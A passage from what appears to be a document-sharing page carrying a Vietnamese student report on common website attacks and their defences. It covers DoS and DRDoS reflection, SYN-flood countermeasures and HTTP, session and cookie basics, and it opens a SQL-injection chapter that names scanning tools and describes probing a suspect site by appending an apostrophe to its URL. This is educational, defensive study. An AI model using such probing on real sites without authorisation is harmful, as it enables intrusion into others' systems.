không còn khả năng tiếp nhận gói tin và bị loại khỏi mạng Internet, như sơ đồ minh
họa sau:
Hình 2.8. Tấn công DDoS
 ™ DRDoS (Distributed Reflection Denial of Service) - Thế hệ tiếp theo
của DDoS:
Hình sau sẽ minh họa kiểu tấn công DRDoS này.
Hình 2.9. Tấn công kiểu DRDoS
Bằng cách giả địa chỉ IP của máy đích, hacker sẽ cùng lúc gửi nhiều gói tin đến
các hệ thống máy mạnh trên mạng, các hệ thống này khi nhận gói tin SYN giả này,
chấp nhận kết nối và gửi trả một gói tin SYN/ACK để thông báo. Vì địa chỉ IP của gói
tin SYN bị hacker sửa đổi thành địa chỉ IP máy đích nên những gói tin SYN/ACK sẽ
được gửi về cho máy đích. Cùng một lúc nhận được nhiều gói tin, đường truyền của
máy đích không đủ khả năng đáp ứng, hệ thống máy đích từ chối nhận bất kì gói tin
nào và lúc này hệ thống máy đích đã bị sụp đổ.
2.4.2.4. Tấn công vào tài nguyên hệ thống
Đây là kiểu tấn công nhằm vào tài nguyên hệ thống hơn là tài nguyên mạng như
CPU, bộ nhớ, file hệ thống, tiến trình…..Hacker là một người dùng hợp lệ của hệ
thống, và được một lượng tài nguyên giới hạn trên hệ thống. Tuy nhiên, hacker sẽ lạm
dụng quyền truy cập này để yêu cầu thêm tài nguyên. Như vậy, hệ thống hay những
người dùng hợp lệ sẽ bị từ chối sử dụng tài nguyên chia sẻ. Kiểu tấn công sẽ khiến cho
hệ thống không thể sử dụng được vì tài nguyên đã bị sử dụng hết, không còn tiến trình
để thực thi nữa.
2.4.3. Phương pháp phòng chống DOS, DDOS
Kiểu tấn công từ chối dịch vụ là kiểu tấn công gây nhiều khó khăn trong vấn đề
bảo vệ cũng như điều tra tìm ra thủ phạm nhất, bởi vì hầu hết hacker đã thay đổi địa
chỉ IP của máy mình nên rất khó xác định ai là thủ phạm.
Để phòng chống khả năng khuếch đại đường truyền, cần:
• Huỷ khả năng broadcast tại router biên
• Tăng kích thước hàng đợi kết nối
Kết quả: có thể phòng tránh khả năng tràn hàng đợi qua nhiều kết nối, nhưng
cách này sử dụng nhiều tài nguyên
• Giảm thời gian thiết lập kết nối
• Dùng những phần mềm phát hiện và phá hủy kiểu tấn công DoS:
Hầu hết những hệ điều hành hiện nay đều hỗ trợ khả năng phát hiện và phòng
chống kiểu tấn công ngập lụt SYN.
Tuy nhiên cũng đã có những phần mềm được có khả năng tránh kiểu tấn công
này. Ví dụ như với Linux kernels 2.0.30 và về sau cài đặt một tùy chọn gọi là SYN
Cookie, kernel có nhiệm vụ truy tìm và lưu vết những khả năng có thể xảy ra kĩ thuật
SYN. Sau đó, kernel sẽ sử dụng một giao thức mã hoá như SYN cookie cho phép
người dùng hợp lệ của hệ thống tiếp tục kết nối đến hệ thống.
Với WindowNT 4.0 trở về sau, sử dụng kĩ thuật backlog, mỗi khi hàng đợi kết
nối không đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng đợi, vì thế hang
đợi sẽ không bị phá vỡ.
• Ứng dụng chỉ cho phép mỗi một máy con chỉ được thiết lập số kết nối tối đa
theo qui định tránh trường hợp hacker gửi cùng lúc nhiều yêu câu gây tắc nghẽn.
CHƯƠNG III: TRIỂN KHAI CÁC
PHƯƠNG PHÁP TẤN CÔNG VÀ GIẢI
PHÁP BẢO MẬT WEBSITE.
3.1. SQL Injection
Để tiến hành tìm kiếm lỗi SQL Injection chúng ta sử dụng một số công cụ như:
+ Sql Poizon v1.1
Hình 3.1. Công cụ Sql Poizon v1.1
+ XCodeXploitScanner
Hình 3.2. Công cụ XCodeXploitScanner
Sau khi đã tìm được Website nghi vấn ta tiến hành kiểm tra lổi bằng cách thêm dấu “’”
vào sau url:

More Related Content

What's hot

Giáo trình an toàn thông tin ths.nguyễn công nhật[bookbooming.com]
Giáo trình an toàn thông tin   ths.nguyễn công nhật[bookbooming.com]Giáo trình an toàn thông tin   ths.nguyễn công nhật[bookbooming.com]
Giáo trình an toàn thông tin ths.nguyễn công nhật[bookbooming.com]
bookbooming1
 
Bao cao tttn an ninh web
Bao cao tttn   an ninh webBao cao tttn   an ninh web
Bao cao tttn an ninh web
Nhóc Mèo
 

What's hot (20)

Bài giảng mật mã học cơ sở PTIT
Bài giảng mật mã học cơ sở PTITBài giảng mật mã học cơ sở PTIT
Bài giảng mật mã học cơ sở PTIT
 
Cơ sở an toàn thông tin chương 2
Cơ sở an toàn thông tin chương 2Cơ sở an toàn thông tin chương 2
Cơ sở an toàn thông tin chương 2
 
đề Tài website bán hàng quần áo ở cửa hàng juri luận văn, đồ án, đề tài tốt n...
đề Tài website bán hàng quần áo ở cửa hàng juri luận văn, đồ án, đề tài tốt n...đề Tài website bán hàng quần áo ở cửa hàng juri luận văn, đồ án, đề tài tốt n...
đề Tài website bán hàng quần áo ở cửa hàng juri luận văn, đồ án, đề tài tốt n...
 
Báo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minh
Báo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minhBáo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minh
Báo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minh
 
Bài gảng cơ sở an toàn thông tin PTIT
Bài gảng cơ sở an toàn thông tin PTITBài gảng cơ sở an toàn thông tin PTIT
Bài gảng cơ sở an toàn thông tin PTIT
 
Đồ án trang web bán văn phòng phẩm
Đồ án trang web bán văn phòng phẩmĐồ án trang web bán văn phòng phẩm
Đồ án trang web bán văn phòng phẩm
 
Giáo trình an toàn thông tin ths.nguyễn công nhật[bookbooming.com]
Giáo trình an toàn thông tin   ths.nguyễn công nhật[bookbooming.com]Giáo trình an toàn thông tin   ths.nguyễn công nhật[bookbooming.com]
Giáo trình an toàn thông tin ths.nguyễn công nhật[bookbooming.com]
 
Phân tích tự động các website để phát hiện lỗ hổng tiêm nhiễm, 9đ
Phân tích tự động các website để phát hiện lỗ hổng tiêm nhiễm, 9đPhân tích tự động các website để phát hiện lỗ hổng tiêm nhiễm, 9đ
Phân tích tự động các website để phát hiện lỗ hổng tiêm nhiễm, 9đ
 
Tổng quan về an toàn và bảo mật thông tin
Tổng quan về an toàn và bảo mật thông tinTổng quan về an toàn và bảo mật thông tin
Tổng quan về an toàn và bảo mật thông tin
 
Báo cáo môn đảm bảo chất lượng phần mềm
Báo cáo môn đảm bảo chất lượng phần mềmBáo cáo môn đảm bảo chất lượng phần mềm
Báo cáo môn đảm bảo chất lượng phần mềm
 
Phân tích mã độc cơ bản - báo cáo thực tập
Phân tích mã độc cơ bản - báo cáo thực tậpPhân tích mã độc cơ bản - báo cáo thực tập
Phân tích mã độc cơ bản - báo cáo thực tập
 
Bao cao tttn an ninh web
Bao cao tttn   an ninh webBao cao tttn   an ninh web
Bao cao tttn an ninh web
 
Slide An toàn mạng nâng cao PTIT
Slide An toàn mạng nâng cao PTITSlide An toàn mạng nâng cao PTIT
Slide An toàn mạng nâng cao PTIT
 
Tổng quan về DoS - DDoS - DRDoS
Tổng quan về DoS - DDoS - DRDoSTổng quan về DoS - DDoS - DRDoS
Tổng quan về DoS - DDoS - DRDoS
 
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
 
Giao thức bảo mật SSL
Giao thức bảo mật SSLGiao thức bảo mật SSL
Giao thức bảo mật SSL
 
Đề tài: Tìm hiểu giải pháp an ninh mạng với firewall, HAY, 9đ
Đề tài: Tìm hiểu giải pháp an ninh mạng với firewall, HAY, 9đĐề tài: Tìm hiểu giải pháp an ninh mạng với firewall, HAY, 9đ
Đề tài: Tìm hiểu giải pháp an ninh mạng với firewall, HAY, 9đ
 
Phân tích và thiết kế hệ thống quản lý bán hàng
Phân tích và thiết kế hệ thống quản lý bán hàngPhân tích và thiết kế hệ thống quản lý bán hàng
Phân tích và thiết kế hệ thống quản lý bán hàng
 
Báo Cáo Bài Tập Lớn Môn Lập Trình Web Xây Dựng Website Tin Tức
Báo Cáo Bài Tập Lớn Môn Lập Trình Web Xây Dựng Website Tin TứcBáo Cáo Bài Tập Lớn Môn Lập Trình Web Xây Dựng Website Tin Tức
Báo Cáo Bài Tập Lớn Môn Lập Trình Web Xây Dựng Website Tin Tức
 
Kiểm thử bảo mật web
Kiểm thử bảo mật webKiểm thử bảo mật web
Kiểm thử bảo mật web
 

Similar to Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng chống .doc

SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2
Con Ranh
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
Vũ Anh
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
Vũ Anh
 
Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chong
Vu Trung Kien
 
đồ áN thực tập tại athena
đồ áN thực tập tại athenađồ áN thực tập tại athena
đồ áN thực tập tại athena
Huy Bach
 
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýBáo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Quý Đồng Nast
 
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh QuýTổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Quý Đồng Nast
 
Nghien cuu ma nguon mo openvpn
Nghien cuu ma nguon mo openvpnNghien cuu ma nguon mo openvpn
Nghien cuu ma nguon mo openvpn
peterh18
 
Bao caothuctap
Bao caothuctapBao caothuctap
Bao caothuctap
Long Prồ
 
Báo cáo thực tập
Báo cáo thực tậpBáo cáo thực tập
Báo cáo thực tập
Trần Hiệu
 

Similar to Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng chống .doc (20)

Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống
Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chốngĐồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống
Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống
 
E Lib&Learning
E Lib&LearningE Lib&Learning
E Lib&Learning
 
Mạng máy tính nâng cao
Mạng máy tính nâng caoMạng máy tính nâng cao
Mạng máy tính nâng cao
 
SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2
 
SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1
 
Báo cáo lần 1
Báo cáo lần 1Báo cáo lần 1
Báo cáo lần 1
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
 
Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chong
 
Bao cao tuan 1
Bao cao tuan 1Bao cao tuan 1
Bao cao tuan 1
 
Báo cáo thực tập - Đàm Văn Sáng
Báo cáo thực tập  - Đàm Văn SángBáo cáo thực tập  - Đàm Văn Sáng
Báo cáo thực tập - Đàm Văn Sáng
 
đồ áN thực tập tại athena
đồ áN thực tập tại athenađồ áN thực tập tại athena
đồ áN thực tập tại athena
 
thiết kế mạng máy tính cho building của ngân hàng
thiết kế mạng máy tính cho building của ngân hàngthiết kế mạng máy tính cho building của ngân hàng
thiết kế mạng máy tính cho building của ngân hàng
 
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýBáo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
 
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh QuýTổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
 
Nghien cuu ma nguon mo openvpn
Nghien cuu ma nguon mo openvpnNghien cuu ma nguon mo openvpn
Nghien cuu ma nguon mo openvpn
 
Bao caothuctap
Bao caothuctapBao caothuctap
Bao caothuctap
 
Bc thực tập nghiên cứu, phát triển xây dựng hệ thống giám sát mạng bằng phần ...
Bc thực tập nghiên cứu, phát triển xây dựng hệ thống giám sát mạng bằng phần ...Bc thực tập nghiên cứu, phát triển xây dựng hệ thống giám sát mạng bằng phần ...
Bc thực tập nghiên cứu, phát triển xây dựng hệ thống giám sát mạng bằng phần ...
 
ATTT.pptx
ATTT.pptxATTT.pptx
ATTT.pptx
 
Báo cáo thực tập
Báo cáo thực tậpBáo cáo thực tập
Báo cáo thực tập
 

Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng chống .doc

  • 1. LỜI MỞ ĐẦU Thế giới ngày nay đã có nhiều tiến bộ mạnh mẽ về công nghệ thông tin (CNTT) từ một tiềm năng thông tin đã trở thành một tài nguyên thực sự, trở thành sản phẩm hàng hoá trong xã hội tạo ra một sự thay đổi to lớn trong lực lượng sản xuất, cơ sở hạ tầng, cấu trúc kinh tế, tính chất lao động và cả cách thức quản lý trong các lĩnh vực của xã hội. Trong những năm gần đây, Việt Nam ngày càng phát triển và nhất là về mặt công nghệ thông tin. Đặc biệt là về ứng dụng Website, hầu như mọi người ai cũng từng nghe và làm việc trên ứng dụng Website. Website trở nên phổ biến và trở thành một phần quan trọng của mọi người và nhất là các doanh nghiệp, công ty. Bên cạnh đó lý do an toàn bảo mật cho ứng dụng Website luôn là vấn đề nan giải của mọi người. Với các lý do trên, em mạnh dạn đề xuất đề tài “Nghiên cứu một số hình thức tấn công Website phổ biến và các giải pháp phòng chống” để làm đề tài thực tập chuyên ngành cho mình. Em thấy đây là đề tài mang tính thực tế cao, giúp cho các nhà quản trị Website có thể làm tốt hơn công việc của mình, cũng như đảm bảo an toàn thông tin cho doanh nghiệp, công ty. Đồng thời cũng giúp ích rất nhiều cho em trong các công việc sau này. Nội dung đề tài gồm ba phần chính: Chương 1: Tổng quan về bảo mật và ứng dụng Website. Chương 2: Nghiên cứu các hình thức tấn công và giải pháp bảo mật Website. Chương 3: Triển khai demo một số hình thức tấn công và các giải pháp bảo mật.
  • 2. DANH MỤC TỪ VIẾT TẮT IIS Internet Information Services PHP Hypertext Preprocessor HTTP HyperText Transfer Protocol ASP Active Server Pages XSS Cross Site Scripting DOS Denial Of Service SQL Structured Query Language CGI Common Gateway Interface
  • 3. CHƯƠNG I: TỔNG QUAN VỀ BẢO MẬT ỨNG DỤNG WEBSITE 1.1. Tổng quan về ứng dụng Website. 1.1.1. Khái niệm ứng dụng Website Ứng dụng Website là một ứng dụng chủ/khách sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác. Website là một “trang web” trên mạng Internet, đây là nơi giới thiệu những thông tin, hình ảnh về doanh nghiệp và sản phẩm, dịch vụ của doanh nghiệp (hay giới thiệu bất cứ thông tin gì) để khách hàng có thể truy cập ở bất kỳ nơi đâu, bất cứ lúc nào. Website là tập hợp nhiều trang. Khi doanh nghiệp xây dựng website nghĩa là đang xây dựng nhiều trang thông tin, catalog sản phẩm, dịch vụ....Để tạo nên một website cần phải có 3 yếu tố cơ bản: - Cần phải có tên miền (domain). - Nơi lưu trữ Website (hosting). - Nội dung các trang thông tin. Một ứng dụng web thường có kiến trúc gồm: Hình 1.1: Kiến trúc một ứng dụng Website
  • 4. 1.1.2. Cách thức hoạt động Mô hình hoạt động của ứng dụng Website: Hình 1.2: Mô hình hoạt động của ứng dụng Website. Trong đó: - Trình khách ( hay còn gọi là trình duyệt): Internet Explorer, FireFox, Chrome - Trình chủ: Apache, IIS, …. - Hệ quản trị cơ sở dữ liệu: SQL Server, MySQL, DB2, Access….1.2. Bên cạnh đó, một giải pháp dùng để bảo vệ một hệ thống mạng thường được sử dụng là bức tường lửa, nó có vai trò như là lớp rào chắn bên ngoài một hệ thống mạng, vì chức năng chính của firewall là kiểm soát luồng thông tin giữa các máy tính. Có thể xem firewall như một bộ lọc thông tin, nó xác định và cho phép một máy tính này có được truy xuất đến một máy tính khác hay không, hay một mạng này có được truy xuất đến mạng kia hay không. Người ta thường dùng firewall vào mục đích: - Cho phép hoặc cấm những dịch vụ truy xuất ra ngoài. - Cho phép hoặc cấm những dịch vụ từ bên ngoài truy nhập vào trong. - Kiểm soát địa chỉ truy nhập, cấm địa chỉ truy nhập. Firewall hoạt động dựa trên gói IP do đó kiểm soát việc truy nhập của máy người sử dụng. Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Website thông qua các lệnh cơ bản GET, POST… của giao thức HTTP, trình chủ lúc này có thể cho thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++… hoặc
  • 5. trình chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP… theo yêu cầu của trình khách. Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến cơ sở dữ liệu, lưu các thông tin do trình khách gửi đến…và từ đó trả về cho trình khách 1 luồng dữ liệu có định dạng theo giao thức HTTP, nó gồm 2 phần: - Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi giữa trình duyệt và WebServer. - Body là phần nội dung dữ liệu mà Server gửi về Client, nó có thể là một file HTML, một hình ảnh, một đoạn phim hay một văn bản bất kì. Theo mô hình ở hình 1.1, với firewall, luồng thông tin giữa trình chủ và trình khách là luồng thông tin hợp lệ. Vì thế, nếu hacker tìm thấy vài lỗ hổng trong ứng dụng Website thì firewall không còn hữu dụng trong việc ngăn chặn hacker này. Do đó, các kĩ thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào những sơ suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Website hơn là tấn công trực tiếp vào hệ thống mạng, hệ điều hành. Tuy nhiên, hacker cũng có thể lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các hệ thống không liên quan khác. 1.1.3. Các dịch vụ và ứng dụng trên nền Website Với công nghệ hiện nay, Website không chỉ đơn giản là một trang tin cung cấp các tin bài đơn giản. Những ứng dụng viết trên nền Website không chỉ được gọi là một phần của Website nữa, giờ đây chúng được gọi là phần mềm viết trên nền Website. Có rất nhiều phần mềm chạy trên nền Website như Google word (xử lý văn bản), Google spreadsheets (xử lý bảng tính), Email ,… Một số ưu điểm của phần mềm hay ứng dụng chạy trên nền web: • Mọi người đều có trình duyệt và bạn chỉ cần trình duyệt để chạy phần mềm. • Phần mềm luôn luôn được cập nhật vì chúng chạy trên server. • Luôn sẵn sàng 24/7. • Dễ dàng backup dữ liệu thường xuyên. • Có thể truy cập mọi lúc, mọi nơi, chỉ cần có Internet • Chi phí triển khai rẻ hơn nhiều so với phần mềm chạy trên desktop.
  • 6. 1.2. Tổng quan về an ninh mạng. 1.2.1 Khái niệm về an toàn và an ninh mạng Trong quá khứ, an ninh thông tin là một thuật ngữ được sử dụng để mô tả các biện pháp bảo mật vật lý được sử dụng để giữ cho chính phủ hay doanh nghiệp những thông tin quan trọng khỏi bị truy cập bởi công chúng và để bảo vệ nó chống lại thay đổi hoặc tiêu hủy. Những biện pháp này bao gồm lưu trữ tài liệu có giá trị trong tủ hồ sơ đã bị khóa hoặc két và hạn chế truy cập vật lý đến các khu vực nơi mà các tài liệu đã được lưu giữ. Với sự phổ biến của máy tính và các phương tiện truyền thông điện tử, cách truy cập dữ liệu cũ thay đổi. Khi công nghệ tiếp tục phát triển, hệ thống máy tính được kết nối với nhau để tạo thành mạng máy tính, cho phép các hệ thống chia sẻ tài nguyên, bao gồm cả dữ liệu. Các mạng máy tính cuối cùng, mà hầu hết các liên kết nối mạng máy tính truy cập công cộng, là Internet. Mặc dù các phương pháp bảo vệ dữ liệu đã thay đổi đáng kể, khái niệm về an ninh mạng vẫn giống như là các thông tin bảo mật. Bởi vì máy tính có thể thu hồi, và số tiền quá lớn của dữ liệu, chúng được sử dụng trong gần như mọi khía cạnh của cuộc sống. Máy vi tính, mạng, và Internet là một phần không thể thiếu của nhiều doanh nghiệp. Sự phụ thuộc của chúng trên các máy tính tiếp tục tăng khi các doanh nghiệp và cá nhân trở nên thoải mái hơn với công nghệ và tiến bộ công nghệ như là làm cho hệ thống thân thiện với người dùng hơn và dễ dàng hơn để kết nối. Một hệ thống máy tính duy nhất yêu cầu các công cụ tự động để bảo vệ dữ liệu trên hệ thống từ những người dùng có quyền truy cập hệ thống. Một hệ thống máy tính trên mạng (một hệ thống phân phối) đòi hỏi rằng dữ liệu vào hệ thống đó được bảo vệ không chỉ từ truy cập địa phương mà còn từ các truy cập từ xa trái phép và từ chặn hoặc thay đổi dữ liệu trong quá trình truyền giữa các hệ thống. An ninh mạng không phải là một sản phẩm, quy trình, hay chính sách mà là sự kết hợp của các sản phẩm và quy trình có hỗ trợ một chính sách quy định. Mạng lưới an ninh được thực hiện của các thiết bị an ninh, chính sách và quy trình để ngăn chặn truy cập trái phép vào tài nguyên mạng, thay đổi hoặc hủy hoại tài nguyên hoặc dữ liệu.
  • 7. 1.2.2 Sự cần thiết phải bảo vệ thông tin Trong một doanh nghiệp hay một tổ chức nào đó, thì phải có các yếu tố cần được bảo vệ như: - Dữ liệu. - Tài nguyên: con người, hệ thống và đường truyền. - Danh tiếng của công ty. Nếu không đặt vấn đề an toàn thông tin lên hàng đầu thì khi gặp phải sự cố thì tác hại đến doanh nghiệp không nhỏ: - Tốn kém chi phí. - Tốn kém thời gian. - Ảnh hưởng đến tài nguyên hệ thống. - Ảnh hưởng đến danh dự, uy tín của doanh nghiệp. - Mất cơ hội kinh doanh. 1.3. Các thuật ngữ liên quan. 1.3.1. Hacker Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thống mạng. Hacker thường là những chuyên gia về máy tính. Hacker không tạo ra các kẽ hở cho hệ thống, nhưng Hacker lại là những người am hiểu về hệ điều hành, hệ quản trị dữ liệu, các ngôn ngữ lập trình…Họ sử dụng kiến thức của mình trong việc tìm tòi và khai thác các lỗ hổng của hệ thống mạng. Một số Hacker chỉ dừng lại việc phát hiện và thông báo lỗi tìm được cho những nhà bảo mật hay người phát triển chương trình, họ được xem như là WhiteHat (Hacker nón trắng). Một số hacker dựa vào những lỗ hổng thực hiện việc khai thác trái phép nhằm mục đích phá hoại hay mưu lợi riêng, những người này bị xem như là BlackHat (Hacker mũ đen). Vì tính chất phổ biến của thuật ngữ hacker, nên trong phần trình bày, luận văn sẽ sử dụng “hacker” thay cho “kẻ tấn công”. 1.3.2. Http Header HTTP header là phần đầu (header) của thông tin mà trình khách và trình chủ gửi cho nhau. Những thông tin trình khách gửi cho trình chủ được gọi là HTTP requests (yêu cầu) còn trình chủ gửi cho trình khách là HTTP responses (trả lời). Thông thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị. Một
  • 8. số tham số có thể được dùng trong cả header yêu cầu và header trả lời, còn số khác thì chỉ được dùng riêng trong từng loại. Ví dụ : • Header yêu cầu: o Dòng đầu là dòng yêu cầu cho biết phương thức yêu cầu (GET hoặc POST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP (HTTP/1.1).. o Tiếp theo là các tham số.Chẳng hạn như: ƒ + Accept-Language: Cho biết ngôn ngữ dùng trong trang web. ƒ + Host: Cho biết địa chỉ của máy chủ. ƒ + Referer: Cho biết địa chỉ của trang web tham chiếu tới. o Header của HTTP request sẽ kết thúc bằng một dòng trống. • Header trả lời: o Dòng đầu là dòng trạng thái, để cho biết phiên bản HTTP được dung (HTTP/1.1), mã trạng thái (200) và trạng thái (OK). o Tiếp theo là các tham số. o Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là phần thân của HTTP response. GET /tintuc/homnay.asp HTTP/1.1 Accept: */* Accept-Language: en-us Connection: Keep-Alive Host: localhost Referer: http://localhost/lienket.asp User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Accept-Encoding: gzip, deflate HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 13 Jul 2000 05:46:53 GMT Content-Length: 2291 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQGGGNCG=LKLDFFKCINFLDMFHCBCBMFLJ; path=/ Cache-control: private <HTML> <BODY>
  • 9. 1.3.3. Session HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTP không lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ. Sự thiếu sót này gây khó khăn cho một số ứng dụng Website, bởi vì trình chủ không biết được trước đó trình duyệt đã có những trạng thái nào. Vì thế, để giải quyết vấn đề này, ứng dụng Website đưa ra một khái niệm phiên làm việc (Session). Còn SessionID là một chuỗi để chứng thực phiên làm việc. Một số trình chủ sẽ cung cấp một SessionID cho người dung khi họ xem trang Website trên trình chủ. Để duy trì phiên làm việc thì sessionID thường được lưu vào : + Biến trên URL + Biến ẩn form + Cookie Phiên làm việc chỉ tồn tại trong một khoảng thời gian cho phép, thời gian này được cấu hình qui định tại trình chủ hoặc bởi ứng dụng thực thi. Trình chủ sẽ tự động giải phóng phiên làm việc để khôi phục lại tài nguyên của hệ thống. 1.3.4. Cookie Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình duyệt của người dùng. Các cookie được lưu trữ dưới những file dữ liệu nhỏ dạng text, được ứng dụng tạo ra để lưu trữ, truy tìm, nhận biết các thông tin về người dùng đã ghé thăm trang Web và những vùng mà họ đi qua trong trang. Những thông tin này có thể bao gồm tên, định danh người dùng, mật khẩu, sở thích, thói quen...cookie được trình duyệt của người dùng chấp nhận lưu trên đĩa cứng của máy mình, tuy nhiên không phải lúc nào trình duyệt cũng hỗ trợ cookie, mà còn tùy thuộc vào người dùng có chấp nhận chuyện lưu trữ đó hay không. Ở những lần truy cập sau đến trang Website đó, ứng dụng có thể dùng lại những thong tin trong cookie (như thông tin liên quan đến việc đăng nhập vào Yahoo Messenger!...) mà người dùng không phải làm lại thao tác đăng nhập hay phải cũng cấp lại các thông tin khác. Cookie được phân làm 2 loại secure/non-secure và persistent/non-persistent do đó ta sẽ có 4 kiểu cookie là: - Persistent và Secure
  • 10. - Persistent và Non-Secure - Non-Persistent và Secure - Non-Persistent và Non-Secure Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình duyệt Netscape Navigator sẽ lưu các cookie thành một tập tin cookie.txt còn Internet Explorer sẽ lưu thành nhiều tập tin *.txt trong đó mỗi tập tin là một cookie) trên máy khách trong một khoảng thời gian xác định. - Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web. - Secure cookies chỉ có thể được gửi thông qua HTTPS (SSL). - Non-Secure cookie có thể được gửi bằng cả hai giao thức HTTPS hay HTTP. Thực chất là đối với secure cookie thì trình chủ sẽ cung cấp chế độ truyền bảo mật. Domain Flag Path Secure Expiration Name Value www.redhat.co m FALSE / FALSE 115402949 0 Apache 64.3.40.151.1 6 01899634924 7 480 o Domain: Tên miền của trang web đã tạo cookie ( trong ví dụ trên là www.redhat.com) o Flag: mang giá trị TRUE/FALSE -Xác định các máy khác với cùng tên miền có được truy xuất đến cookie hay không. o Path: Phạm vi các địa chỉ có thể truy xuất cookie.Ví dụ: Nếu path là “/tracuu” thì các địa chỉ trong thư mục /tracuu cũng như tất cả các thư mục con của nó như /tracuu/baomat có thể truy xuất đến cookie này. Còn nếu giá trị là “/” thì cookie sẽ được truy xuất bởi tất cả địa chỉ thuộc miền trang web tạo cookie. o Sercure: mang giá trị TRUE/FALSE - Xác định đây là một secure cookie hay không nghĩa là kết nối có sử dụng SSL hay không. o Expiration: thời gian hết hạn của cookie, được tính bằng giây kể từ 00:00:00 giờ
  • 11. GMT ngày 01/01/1970. Nếu giá trị này không được thiết lập thì trình duyệt sẽ hiểu đây là non-persistent cookie và chỉ lưu trong bộ nhớ RAM và sẽ xoá nó khi trình duyệt bị đóng. o Name: Tên biến (trong trường hợp này là Apache) o Value: Với cookie được tạo ở trên thì giá trị của Apache là 64.3.40.151.16018996349247480 và ngày hết hạn là 27/07/2006, của tên miền http://www.redhat.com. 1.3.5. Proxy Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặc biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như trả lời của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client.
